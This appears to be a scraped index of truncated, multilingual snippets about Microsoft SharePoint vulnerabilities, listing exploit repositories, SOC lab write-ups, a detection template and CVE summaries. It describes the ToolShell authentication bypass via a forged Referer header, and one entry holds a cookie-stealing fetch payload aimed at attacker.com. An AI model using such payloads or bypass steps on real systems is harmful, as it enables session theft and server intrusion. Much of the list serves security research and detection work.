Blackash-CVE-2025-53770

🧠 CVE-2025-53770 : Critical SharePoint RCE Vulnerability Exploited via ViewState Forgery 📌 Vulnerability Overview Type : Remote Code Execution RCE CVSS Score : 9.8 Critical Component : Microsoft SharePoint Server on-prem Root Cause : Insecure deserialization of ViewState data using stolen ASP.NET...

CVE-2025-53770

CVE-2025-53770 – Microsoft SharePoint Server 2019 RCE no autenticado mediante deserialización Autor del exploit: Agampreet Singh Herramienta: RedRoot https://github.com/Agampreet-Singh/RedRoot Fecha: 7 de agosto de 2025 Probado en: SharePoint Server 2019 v16.0.10383.20020 en Windows Server 2019 I...

Microsoft SharePoint Server - Authentication Bypass (ToolShell)

Microsoft Office SharePoint Server contains an improper authentication vulnerability that allows unauthorized attackers to perform spoofing over a network. By crafting a POST request to /layouts/15/ToolPane.aspx with a forged Referer header /layouts/SignOut.aspx, attackers can bypass authenticati...

SOC227-Microsoft-SharePoint-Server-Elevation-of-Privilege-Possible-CVE-2023-29357-Exploitation

SOC227 - Microsoft SharePoint Server Elevazione dei privilegi Sfruttamento di CVE-2023-29357 CVE-2023-29357 è una vulnerabilità critica di elevazione dei privilegi che, se combinata con altre vulnerabilità, potrebbe potenzialmente portare all'esecuzione di codice in remoto. Il punteggio CVSS di...

Microsoft SharePoint Server - Authentication Bypass

Improper authentication in Microsoft Office SharePoint allows an unauthorized attacker to perform spoofing over a network. id: CVE-2025-49706 info: name: Microsoft SharePoint Server - Authentication Bypass author: daffainfo severity: medium description: | Improper authentication in Microsoft Offi...

sharepoint-2026-poc

SharePoint /trust Deserializzazione WS-Federation: PoC e Note di Rilevamento Writeup live GitHub Pages: https://sp-poc.wismansec.com/ rendering HTML di questo documento. Interessati: SharePoint Server 2016, 2019 e Subscription Edition. Ricostruzione di un'intrusione in SharePoint Server...

POC-CVE-2026-56164-exploit

CVE-2026-56164 — Exploit di bypass dell'autenticazione di Microsoft SharePoint Server Critico CVSS 9.8 — Escalation di privilegi non autenticata ad Amministratore Farm in Microsoft SharePoint Server Indice Panoramica Dettagli della vulnerabilità Versioni interessate Diagrammi di architettura...

LetsDefend--SOC-342-CVE-2025-53770-SharePoint-Exploit-ToolShell

LetsDefend--SOC-342-CVE-2025-53770-SharePoint-Exploit-ToolShell Introduzione Ho affrontato una vulnerabilità zero-day di SharePoint chiamata ToolShell CVE-2025-53770 nel laboratorio LetsDefend. Ho simulato un attacco zero-day reale in cui una richiesta POST dannosa ha aggirato l'autenticazione,...

CVE-2023-29357-Check

CVE-2023-29357 Vulnerabilidade de Elevação de Privilégio no Microsoft SharePoint Server Este script informará se o alvo é vulnerável ao CVE-2023-29357 Uso root@kitploit: python3 script.py Aviso Legal Este script é apenas para fins educacionais. Não o utilize contra alvos sem consentimento mútuo...

CVE-2026-32201-exploit

Übersicht Python-Exploit für CVE-2026-32201 - unsachgemäße Eingabevalidierung in Microsoft SharePoint Server, die nicht authentifiziertes Netzwerk-Spoofing ermöglicht C:L/I:L. Betroffen: SharePoint Server 2016 Enterprise, 2019, Subscription Edition fetch'http://attacker.com/?c='+document.cookie" ...

CVE-2026-62917 Microsoft SharePoint Server Spoofing Vulnerability

...

CVE-2026-62917 Microsoft SharePoint Server Spoofing Vulnerability

...

CVE-2026-58639

CVE-2026-58639 describes a server-side request forgery (SSRF) in Microsoft Office SharePoint. The NVD entries indicate an authorized attacker can leverage SSRF to spoof over a network with a base CVSS v3.1 score of 6.5 (Medium): attack vector NETWORK, user interaction NONE, privileges required LO...

CVE-2026-62839 Microsoft SharePoint Server Spoofing Vulnerability

...

CVE-2026-58639 Microsoft SharePoint Server Spoofing Vulnerability

...

CVE-2026-62839 Microsoft SharePoint Server Spoofing Vulnerability

...

CVE-2026-58639 Microsoft SharePoint Server Spoofing Vulnerability

...

CVE-2026-62839

CVE-2026-62839 describes insufficient protection of credentials in Microsoft Office SharePoint, enabling an authorized attacker to perform network spoofing. The vulnerability is triggered by inadequate credential handling in SharePoint, which may allow an attacker with low privileges and network ...

CVE-2026-70326 Microsoft SharePoint Server Elevation of Privilege Vulnerability

...

CVE-2026-70326

CVE-2026-70326 describes a Server-Side Request Forgery (SSRF) vulnerability in Microsoft Office SharePoint that enables an authorized attacker to elevate privileges over a network . Publicly documented details indicate the affected product is SharePoint Server, with the underlying impact being el...